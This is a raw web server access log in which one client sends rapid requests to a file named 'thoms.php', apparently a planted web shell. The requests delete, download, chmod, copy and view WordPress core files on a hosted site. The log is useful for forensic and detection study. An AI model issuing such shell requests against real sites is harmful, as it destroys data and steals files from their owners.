45.135.193.11 - - [11/Sep/2026:23:19:44 -0400] "GET /thoms.php?del=rss.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59355 "http://163.245.207.76:443/thoms.php?del=rss.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:44 -0400] "GET /bestzyx.com.tw/wp-includes/block-supports/ HTTP/1.1" 200 1837 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:44 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-block-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:44 -0400] "GET /thoms.php?chmod=theme-templates.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=theme-templates.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:44 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-simplepie-file.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:45 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:45 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-theme-json-resolver.php HTTP/1.1" 200 22470 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-theme-json-resolver.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:45 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-theme.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-theme.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:44 -0400] "GET /thoms.php?del=blocks&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?del=blocks&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:45 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-url-pattern-prefixer.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-url-pattern-prefixer.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:45 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=abilities.php HTTP/1.1" 200 14844 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=abilities.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:45 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-requests.php HTTP/1.1" 200 12783 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-requests.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:45 -0400] "GET /thoms.php?chmod=class-wp-http-streams.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-streams.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:45 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fhtml-api&p= HTTP/1.1" 200 12275 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fhtml-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:45 -0400] "GET /thoms.php?del=class-wp-recovery-mode-key-service.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59318 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-key-service.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:45 -0400] "GET /thoms.php?dl=class-wp-theme.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59317 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:45 -0400] "GET /thoms.php?del=meta.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=meta.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:46 -0400] "GET /thoms.php?chmod=class-walker-category-dropdown.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11544 "http://163.245.207.76:443/thoms.php?chmod=class-walker-category-dropdown.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:46 -0400] "GET /thoms.php?chmod=class-walker-category.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-walker-category.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:46 -0400] "GET /bestzyx.com.tw/wp-includes/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:46 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fai-client.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11862 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fai-client.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:46 -0400] "GET /thoms.php?del=class-wp-roles.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=class-wp-roles.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:46 -0400] "GET /thoms.php?dl=default-constants.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=default-constants.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:46 -0400] "GET /thoms.php?dl=l10n.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=l10n.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:46 -0400] "GET /thoms.php?del=class-phpass.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?del=class-phpass.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:47 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-type-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11899 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-block-type-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:47 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-date-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-date-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:47 -0400] "GET /thoms.php?dl=class-wp-block-list.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-list.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:47 -0400] "GET /thoms.php?chmod=error_log&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:47 -0400] "GET /thoms.php?chmod=class-wp-customize-setting.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-setting.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:47 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-http-ixr-client.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:47 -0400] "GET /thoms.php?chmod=class-wp-duotone.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-duotone.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:47 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-link-service.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-link-service.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:47 -0400] "GET /thoms.php?dl=ms-deprecated.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=ms-deprecated.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:48 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-image-editor.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-image-editor.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:48 -0400] "GET /bestzyx.com.tw/wp-includes/functions.wp-styles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:48 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2FSimplePie HTTP/1.1" 200 13126 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2FSimplePie" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:48 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-customize-nav-menus.php HTTP/1.1" 200 30350 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-customize-nav-menus.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:48 -0400] "GET /bestzyx.com.tw/wp-includes/feed-rss2.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:48 -0400] "GET /bestzyx.com.tw/wp-includes/block-editor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:48 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=embed-template.php HTTP/1.1" 200 12103 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=embed-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:48 -0400] "GET /thoms.php?del=block-bindings&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59320 "http://163.245.207.76:443/thoms.php?del=block-bindings&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:48 -0400] "GET /thoms.php?dl=block-bindings.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=block-bindings.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:48 -0400] "GET /bestzyx.com.tw/wp-includes/class-walker-category.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:49 -0400] "GET /thoms.php?chmod=class-wp-connector-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11545 "http://163.245.207.76:443/thoms.php?chmod=class-wp-connector-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:49 -0400] "GET /bestzyx.com.tw/wp-includes/kses.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:49 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-duotone.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-duotone.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:49 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=link-template.php HTTP/1.1" 200 49590 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=link-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:49 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fcss HTTP/1.1" 200 20132 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes%2Fcss" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:49 -0400] "GET /thoms.php?del=class-wp-recovery-mode-cookie-service.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59304 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-cookie-service.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:49 -0400] "GET /thoms.php?dl=load.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?dl=load.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:49 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-token-map.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-token-map.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:49 -0400] "GET /thoms.php?dl=class-avif-info.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?dl=class-avif-info.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:49 -0400] "GET /bestzyx.com.tw/wp-includes/json-schema.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:49 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=compat.php HTTP/1.1" 200 18183 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:50 -0400] "GET /bestzyx.com.tw/wp-includes/block-patterns.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:50 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=load.php HTTP/1.1" 200 30509 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:50 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fms-load.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fms-load.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:50 -0400] "GET /thoms.php?del=feed-rss2-comments.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=feed-rss2-comments.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:50 -0400] "GET /thoms.php?chmod=class-wp-http-cookie.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-cookie.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:50 -0400] "GET /thoms.php?chmod=class-wp-list-util.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=class-wp-list-util.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:50 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-term.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:50 -0400] "GET /bestzyx.com.tw/wp-includes/post.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:50 -0400] "GET /thoms.php?del=class-oembed.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59326 "http://163.245.207.76:443/thoms.php?del=class-oembed.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:50 -0400] "GET /bestzyx.com.tw/wp-includes/class-avif-info.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:50 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fms-deprecated.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fms-deprecated.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:50 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ftaxonomy.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ftaxonomy.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:51 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-taxonomy.php HTTP/1.1" 200 17353 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-taxonomy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:51 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=general-template.php HTTP/1.1" 200 63156 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=general-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:51 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=user.php HTTP/1.1" 200 61481 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=user.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:51 -0400] "GET /bestzyx.com.tw/wp-includes/view-config.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
